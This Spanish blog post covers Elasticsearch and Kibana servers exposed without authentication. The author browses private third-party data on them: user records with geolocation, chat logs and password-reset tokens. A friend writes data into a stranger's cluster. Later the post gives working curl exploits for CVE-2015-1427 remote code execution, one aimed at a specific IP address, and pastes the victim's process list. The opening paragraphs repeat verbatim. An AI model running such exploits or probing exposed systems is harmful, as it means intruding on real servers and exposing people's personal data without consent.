ElasticSearch, Kibana: dámelo todo papi !!!
Estimados amigos de Inseguros !!!
En esta ocasión vamos a hablar del sistema ElasticSearch y Kibana.
Big Data? Nosql? Realmente ElasticSearch, a partir de ahora ES, es un sistema de base de datos no relacional basado en un motor Java y en un almacenamiento nativo en JSON.
Es un motor de base de datos optimizado para las consultas por texto, con un lenguaje de consulta muy simple, olvídate de select * !!! preguntamos por el campo, recorremos el índice y realmente de manera rápida, obtenemos los resultados.
Una de las cosas buenas que tiene ES es que no depende de un esquema de datos previo para introducir información, por lo que no hace falta diseñar el esquema como con xml por ejemplo.
Kibana es un front end para realizar esas consultas y definir cuadros de mando bonitos con la información que queremos buscar, así como un motor de búsqueda.
En mi caso lo uso para visualizar datos de inteligencia de dominios, ip, hashes y demás muestras que vamos realizando por nuestros sensores.
En muchos escenarios se utiliza el conjunto denominado ELK, ES, Logtash y Kibana, para gestionar de manera masiva eventos.
Como con cualquier servicio, debemos tener en cuenta que al publicarlo en Internet lo hacemos accesible, sea de la manera que lo publiquemos. Esconder la dirección exacta, el puerto, son medidas que ya sabemos que no funcionan. La única manera de proteger estos sistemas expuestos es mediante autenticación, bien sea la que trae el propio sistema o mediante authdigest en el webserver, restringir los extremos que se van a conectar...lo de siempre, pero NUNCA dejarlo abierto esperando que la ocultación haga efecto.
Vamos a empezar por dar una vuelta a unos cuantos kibana que he encontrado por la red que me ha parecido curiosos para comentar. Al más puro estilo voyeur con las cámaras expuestas en Internet, vamos a ver que trabaja la gente...
El método para encontrar los sistemas ha sido Shodan y algo de google dorks. Por respeto no voy a publicar los dorks de Kibana, pero con que le pongas un poco de imaginación podrás obtenerlos.
Es increible como un sistema que requiere mas o menos de ciertos conocimientos para instalarlo-no pero si para trabajarlo, y que se hagan estas configuraciones tan penosas.
PERO LO MAS PENOSO DE TODO es que el fabricante, el vendedor, los desarrolladores de este producto no implemente de serie la autenticación.
Ya sabemos que pasa cuando dejamos instalar un sistema con una clave débil o blanca, y se ACONSEJA cambiarla. Que no se hace. Un sistema como este, debería tener los mínimos exigibles de usuario/pass.
En este caso le toca a un sistema de seguridad, con aparentes mensajes que provienen de un syslog, o una aplicación dedicada o un firewall, pero enumera un montón de intentos de login a un ssh con distintos user/pass. A modo de honeypot podríamos usar sus datos para nuestros registros. Gracias amigos.
En esta ocasión vamos a hablar del sistema ElasticSearch y Kibana.
Big Data? Nosql? Realmente ElasticSearch, a partir de ahora ES, es un sistema de base de datos no relacional basado en un motor Java y en un almacenamiento nativo en JSON.
Es un motor de base de datos optimizado para las consultas por texto, con un lenguaje de consulta muy simple, olvídate de select * !!! preguntamos por el campo, recorremos el índice y realmente de manera rápida, obtenemos los resultados.
Una de las cosas buenas que tiene ES es que no depende de un esquema de datos previo para introducir información, por lo que no hace falta diseñar el esquema como con xml por ejemplo.
Kibana es un front end para realizar esas consultas y definir cuadros de mando bonitos con la información que queremos buscar, así como un motor de búsqueda.
En mi caso lo uso para visualizar datos de inteligencia de dominios, ip, hashes y demás muestras que vamos realizando por nuestros sensores.
En muchos escenarios se utiliza el conjunto denominado ELK, ES, Logtash y Kibana, para gestionar de manera masiva eventos.
Como con cualquier servicio, debemos tener en cuenta que al publicarlo en Internet lo hacemos accesible, sea de la manera que lo publiquemos. Esconder la dirección exacta, el puerto, son medidas que ya sabemos que no funcionan. La única manera de proteger estos sistemas expuestos es mediante autenticación, bien sea la que trae el propio sistema o mediante authdigest en el webserver, restringir los extremos que se van a conectar...lo de siempre, pero NUNCA dejarlo abierto esperando que la ocultación haga efecto.
Vamos a empezar por dar una vuelta a unos cuantos kibana que he encontrado por la red que me ha parecido curiosos para comentar. Al más puro estilo voyeur con las cámaras expuestas en Internet, vamos a ver que trabaja la gente...
El método para encontrar los sistemas ha sido Shodan y algo de google dorks. Por respeto no voy a publicar los dorks de Kibana, pero con que le pongas un poco de imaginación podrás obtenerlos.
Es increible como un sistema que requiere mas o menos de ciertos conocimientos para instalarlo-no pero si para trabajarlo, y que se hagan estas configuraciones tan penosas.
PERO LO MAS PENOSO DE TODO es que el fabricante, el vendedor, los desarrolladores de este producto no implemente de serie la autenticación.
Ya sabemos que pasa cuando dejamos instalar un sistema con una clave débil o blanca, y se ACONSEJA cambiarla. Que no se hace. Un sistema como este, debería tener los mínimos exigibles de usuario/pass.
En este caso le toca a un sistema de seguridad, con aparentes mensajes que provienen de un syslog, o una aplicación dedicada o un firewall, pero enumera un montón de intentos de login a un ssh con distintos user/pass. A modo de honeypot podríamos usar sus datos para nuestros registros. Gracias amigos.
El siguiente sistema expuesto y peligroso es a lo que me parece un sistema de publicidad para juegos de móviles. publican el error_log y el access log directamente si esconder los campos de constraseña, como aconsejamos por aquí en este artículo sobre prevención de fugas de información en logs.
Las implantaciones correctas lo muestran así:
Con este me he reído un poco porque el índice de datos se denomina MWAC. Lo primero que hice fue ver que eran esas siglas. De todos los organismos que me aparecieron, sin duda, el más gracioso fue MOM WITH A CAMERA. Qué clase de afición es esa !!!!! Tras investigar los logs, me di cuenta que no eran vídeos de madres enseñando ganchillo, pero si información útil para mi como dominios bloqueados, direcciones ip white/black list y cosas así. Uno de los campos que usaban para filtrar era la versión del cliente, por lo que buscando por eso dato me aparece la empresa Malwarebytes anti malware, y que su última versión es la que indica kibana, blanco y en botella. Alguna gestión de logs de este curioso antivirus, o quizás ni sea un av, o no sea de ellos, pero los datos cuadran. Me he reído un poco.
Ahora vamos a ver algunos un tanto inquietantes. Estos aprovechan la capacidad de búsqueda rápida que ofrece ES para realizar tareas de "big data?" tenía que decirlo :-).
En este sistema vemos como se recopilan informaciones de inteligencia, o al menos eso parece, buscando por varios patrones aparecen artículos delicados. Imagino que será de algún medio de noticias, sino de algún gobierno. En este caso busco información del ISIS y aparece esto, aunque aparecen MUCHOS más.
Otro sistema que me ha parecido curioso de mostrar es una monitorización de logs de un canal de chat de un sistema de video, al parecer, muy popular en EEUU. El servicio es Twitch. No se si es la propia empresa la que publica esta información, o los propietarios del canal, empresas de control, no tengo ni la más remota idea, pero hago una prueba para entrar en el char y ver si el sistema está on line y efectivamente, todo lo que pasa por ese canal se guarda en ES y se muestra en kibana. Aunque no lo he puesto, curioso buscar también por password en el registro. Los adolescentes intercambian claves de "cosas" de juegos todos los días.
Es curiosa la cantidad de información que podemos obtener de estos sistemas expuestos. Además se consideraría deep web ya que los navegadores no acceden al contenido de kibana, no se indexa, por lo que podría ser útil disponer de este tipo de información para ciertas investigaciones. Sobre todo como se usa para guardar logs, direcciones ip que se van registrando en distintos sistemas. Sería como una correlación de eventos "ajenos" :-).
Otro caso curioso, una empresa tecnología de esas que venden "machine learning". Vamos a ver señores, si sois profesionales, ponerle clave a estas cosas !!! Al parecer esta empresa gestiona reputación en algún portal y lleva un control de publicación de imágenes desnudas o no, para su gestión. A ver si el mahcine learning es becarios viendo imágenes para ver si son gatitas o no...No lo se, pero seguridad en kibana no tienen...
Otro curioso que me aparece es un sistema de control de errores normal, de cualquier aplicación, pero parece ser de un sistema de tracking de camiones. Como conozco algo el sector, se las basuras que se desarrollan en estos sistemas, y me ha dado la curiosidad de visitar el sistema. Como no, Zas, todo el sistemas de control de flota expuesto a internet. Lo gracioso es que lo venden... Pero se pueden ver los tránsitos de flota entre ciudades, el carrier, el teléfono, en algunos casos el coste...
Esto refuerza mi teoría que ha causado un poco de polémica con mi último artículo sobre la seguridad de las empresas de mi ciudad. Bloquear Tor o no no es un indicador directo de seguridad, pero si del mimo que se le tienen a las cosas. Con esto de los camiones igual. Es mas, apostaría pasta a que un pentesting completo sería un informe tipo biblia con hallazgos.
Imagina que quieres perpetrar un robo, un crimen, en una universidad. Estando las cosas como están conocer los sistemas de monitorización no estaría de mas. Esto es lo que pasa en esta instancia publicada de una universidad australiana.
Debido a la cantidad de información que maneja, es normal encontrar muchas instancias de información meteorológica.
Cuando encontré este me puse un poco nervioso. Los datos de las máquinas virtuales de un hosting. Pensé, como tenga claves, tengo que ir al FBI, o mejor, a nuestro GDT que lo hacen mejor que los yankees. No fue el caso, pero existe toda la monitorización de recursos, ram, cpu y disco. En un APT al proveedor o a sus clientes podríamos usar estos registros para crear denegaciones de servicio mediante colapso de discos o cualquier otra cosa así.
Todos sabemos que los procedimientos de comunicación de claves a usuarios siempre han sido un vector a estudiar en un proceso de auditoria o fortificación. Creo que Chema Alonso hablaba de esto hace unos días.
Me he encontrado de todo tipo de casos, desde el correo en claro que se le envía al usuario con user/pass, hasta la típica url con el token de restauración de clave. Cuando hacemos esto, tenemos que darle una caducidad al token y sobre todo, pedir algún dato más. En muchos solo preguntaba "nueva clave"....
Una cosa que he aprendido es que se pueden compartir vídeos en Vimeo mediante una clave secreta. Veo unos cuantos logs con registros de este tipo. Solo por curiosidad decido ver algún vídeo, y no !!! no era pornografía !!! pero si muy muy curiosos !!!
Una de las plataformas que mas juega me ha dado ha sido una dedicada a la lectura de libros online. Aparte de registrar sus eventos "informáticos" tenían la base de datos de información de sus usuarios.
Me llama la atención tener a la mano la bbdd con la fotografía, correo, datos personales pero lo que mas me asusta es que tiene la geolocalización de la conexión. De la última conexión. Un criminal podría usar esta información para saber cuando alguien está en casa o fuera. Me parece tannn horroroso que se exponga esta información...
Algunos otros usos malosos que se me ocurren de todas estas bases de datos es vender las listas de correo para campañas de phising. Ya no se si se paga por esto, pero antes si se hacia.,,Lo mismo lo uso para que me suban las visitas del blog :-)
Este me gustó mucho por ser un sistema OSSEC del que tanto hemos visto por aquí con OSSIM y que uso a diario. Dejar un sistema de control de seguridad expuesto es el colmo de los colmos, pero a mi me gusta y me pasé un buen rato viendo que ataques registraban, qué reglas usaban etc.
De este caso no pude sacar ninguna conclusión clara, pero el tamaño de sus clientes de análisis web es como para que no estuviera open.
Ahora es el turno de ver ElasticSearch. El proceso de búsqueda de servidores expuestos, según me comenta el amigo que lo ha hecho XD , ha sido usar un scanner masivo de internet guardando no solo el banner que me interesaba, sino la respuesta que contenía la palabra Cluster ya que cuando accedes a ip:9200 de un servidor ElasticSearch te muestra esta información:
Una vez fichados algunos, vamos a realizar algunas consultas básicas. La más básica es consultar los índices para luego poder buscar información de estos índices. Podemos decir que un índice sería como un aglutinador, una tabla... El comando es ip:9200/_cat/indices?v' algunos resultados:
Como se aprecia en la imagen aparecen los datos del estado del índice (colores) y algunos campos como el número de registros, tamaño, etc.
Podemos pelearnos con la sintaxis de ES para poder buscar datos, pero se me ocurre una cosa, si kibana es el front-end del ES, y tengo una lista de ES que al parecer no piden login, por qué no me monto uno? Kibana es un java que puedes instalar en dos segundos, es más, yo lo instalo en una máquina Windows. Lo difícil ha sido encontrar una versión de Kibana para Windows que "mueva" bases de datos ES 1.4.1 que al parecer son la mayoría.
Teniendo la versión correcta, basta con informar en el fichero /config/kibana.yml la dirección y puerto del servidor ES. Iniciamos el java y accedemos a localhost:5601, pero los datos que vemos esta vez son del ES que hemos "encontrado" por la red. Si todo ha ido bien, debemos decirle a Kibana el nombre del índice que queremos visualizar. Recuerdas el comando de arriba? vamos a darle:
En ocasiones he tenido problemas como decía con las versiones de ES, pero una cosa que me parece tremendamente útil es que cuando accedemos a un cluster ES, mediante cualquiera de sus nodos, aparece la información detallada de los elementos que componen el cluster. Otro dato más interesante en una supuesta fase de descubrimiento en un pentesting.
Ahora podemos seguir investigando información publicada sin control en Internet, en vez de por kibana mal configurado, por un kibana bien configurado, en este caso el nuestro :-) sobre un ES mal configurado. Ahora es el turno de probar a introducir datos.
Dentro del proceso normal de uso de ES podemos usar la api web, una simple llamada mediante curl a la url, el índice, el tipo de elemento e introducimos el json que queremos.
Para hacer la prueba mi amigo descarga un json, modifica el id, cambia algún campo y lo sube, como era de esperar, aparece sin problemas.
Como puedes imaginar, al igual que se puede listar y añadir, borrar sería posible, no lo hago porque esto si sería ilegal.
No basta con exponer los datos, sino que desde hace mucho tiempo existe una vulnerabilidad conocida en versiones viejas, curioso de las que más existen, que permite ejecución de código remota, yahoooooooooooooooo. La vulnerabilidad es esta: 2015-1427
El exploit que podemos usar, para ser buenos en esta ocasión y evitar que los SK ataquen, podría ser esta:
curl http://ip:9200/_search?pretty -XPOST -d '{"script_fields": {"myscript": {"script": "java.lang.Math.class.forName(\"java.lang.System\").getProperty(\"os.name\")"}}}'
Vamos a ver dijo un ciego, pero parecen honeypots porque no me creo que estén aún así !!!.
Cambiando el exploit podemos ver:
curl http://80.248.212.104:9200/_search?pretty -XPOST -d '{"script_fields": {"myscript": {"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec (\"whoami\").getText()"}}}'
Para los más perezosos existe un Metasploit disponible pero no me gusta mucho usar esta herramienta pudiendo usar las cosas a pelo.
Y si probamos con un tasklist?
"myscript" : [ "\r\nNom de l'image PID Nom de la sessio Num‚ro de s Utilisation \r\n========================= ======== ================ =========== ============\r\nSystem Idle Process 0 Services 0 24 Ko\r\nSystem 4 Services 0 300 Ko\r\nsmss.exe 320 Services 0 1ÿ228 Ko\r\ncsrss.exe 408 Services 0 7ÿ400 Ko\r\ncsrss.exe 448 Console 1 3ÿ964 Ko\r\nwininit.exe 456 Services 0 4ÿ628 Ko\r\nwinlogon.exe 484 Console 1 4ÿ576 Ko\r\nservices.exe 552 Services 0 10ÿ164 Ko\r\nlsass.exe 560 Services 0 19ÿ368 Ko\r\nlsm.exe 568 Services 0 6ÿ864 Ko\r\nsvchost.exe 656 Services 0 10ÿ448 Ko\r\nsvchost.exe 732 Services 0 11ÿ508 Ko\r\nLogonUI.exe 808 Console 1 16ÿ216 Ko\r\nsvchost.exe 820 Services 0 14ÿ152 Ko\r\nsvchost.exe 868 Services 0 32ÿ108 Ko\r\nsvchost.exe 916 Services 0 407ÿ604 Ko\r\nsvchost.exe 960 Services 0 11ÿ952 Ko\r\nsvchost.exe 1000 Services 0 20ÿ440 Ko\r\nsvchost.exe 400 Services 0 12ÿ428 Ko\r\nspoolsv.exe 1080 Services 0 11ÿ256 Ko\r\nvmicsvc.exe 1112 Services 0 6ÿ060 Ko\r\nvmicsvc.exe 1132 Services 0 11ÿ312 Ko\r\nvmicsvc.exe 1156 Services 0 4ÿ500 Ko\r\nvmicsvc.exe 1212 Services 0 14ÿ000 Ko\r\nsvchost.exe 1240 Services 0 9ÿ404 Ko\r\nelasticsearch-service-x64 1272 Services 0 424ÿ992 Ko\r\nconhost.exe 1300 Services 0 2ÿ948 Ko\r\ninetinfo.exe 1380 Services 0 15ÿ472 Ko\r\nKBPlatform.Updater.exe 1416 Services 0 48ÿ384 Ko\r\nKBCrawl.KBCockpit.exe 1576 Services 0 23ÿ400 Ko\r\nKBCrawl.KBWatchdog.exe 1620 Services 0 18ÿ840 Ko\r\nKBCrawl.Mailer.exe 1664 Services 0 43ÿ260 Ko\r\nKBCrawl.Scheduler6.exe 1776 Services 0 88ÿ436 Ko\r\nSMSvcHost.exe 1856 Services 0 16ÿ376 Ko\r\nsvchost.exe 1924 Services 0 3ÿ012 Ko\r\nKBPlatform.Mailer.exe 1956 Services 0 19ÿ508 Ko\r\nsvchost.exe 908 Services 0 15ÿ376 Ko\r\nw3wp.exe 2396 Services 0 195ÿ592 Ko\r\nsvchost.exe 2648 Services 0 8ÿ496 Ko\r\nsvchost.exe 2688 Services 0 5ÿ488 Ko\r\nsvchost.exe 2720 Services 0 5ÿ284 Ko\r\nWmiPrvSE.exe 2116 Services 0 282ÿ816 Ko\r\ncsrss.exe 3124 2 6ÿ144 Ko\r\nwinlogon.exe 3184 2 5ÿ340 Ko\r\ntaskhost.exe 3472 2 16ÿ248 Ko\r\nrdpclip.exe 3504 2 6ÿ264 Ko\r\ndwm.exe 3576 2 5ÿ124 Ko\r\nexplorer.exe 3592 2 41ÿ628 Ko\r\nmsdtc.exe 600 Services 0 7ÿ616 Ko\r\nsnmp.exe 3328 Services 0 7ÿ960 Ko\r\nVSSVC.exe 16668 Services 0 7ÿ152 Ko\r\nvmicsvc.exe 7948 Services 0 4ÿ700 Ko\r\nw3wp.exe 7968 Services 0 92ÿ124 Ko\r\ntaskeng.exe 5880 Services 0 6ÿ576 Ko\r\nKBCrawl.Agent.exe 16980 Services 0 67ÿ952 Ko\r\nconhost.exe 9564 Services 0 3ÿ040 Ko\r\nWmiPrvSE.exe 12800 Services 0 7ÿ216 Ko\r\ntasklist.exe 9320 Services 0 5ÿ488 Ko\r\n" ]
Como es normal, las redes de criminales se hacen eco de estas deficiencias y lo emplean para propagar malware, como indican en alienvault y en malwaremustdie.
Estoy considerando indicar como posibles maliciosas todas las ip a nivel mundial que alberguen servidores 1.4.1-1.4.3 de ES, porque la verdad que son un peligro.
Es también muy revelador que hasta la empresa desarrolladora de los productos ES y kibana publique su entorno de integración continua Jenkins a todo el mundo. Ofrece la posibilidad de ver los usuarios, y por qué no, alguno tendrá una clave débil en github? Esto es MUY peligroso ya que acceder al entorno de desarrollo de una aplicación así sería como dar carta blanca a los atacantes a introducir malware en las instalaciones. Se armaría un pollo gordo. No se porque no se restringe esto pero bueno...
La conclusión que podemos sacar con esto es la de siempre, pero voy a intentar ponerlo en frases directas por si así se nos queda mas claro:
1.- Seguridad por oscuridad no funciona.
2.- Todo lo que hagas, hazlo seguro desde el primer momento.
3.- Piensa en que tus datos "inservibles" podrían ser ORO para otras personas.
4.- Actualiza tus sistemas.
5.- Realiza auditorias de seguridad de tus recursos.
...
Como siempre agradecer vuestra lectura, ánimos y apoyo que recibo cada día con el blog.
Quiero agradecer en esta artículo al señor Pedro Candel, organizador de Navaja Negra por darme algunas ideas de redacción ya que el maestro ya hizo un trabajo parecido a esta con bases de datos expuestas, en su caso Mongo. Grande Pedro, te debemos tanto !!!!
Gracias por leerme !!!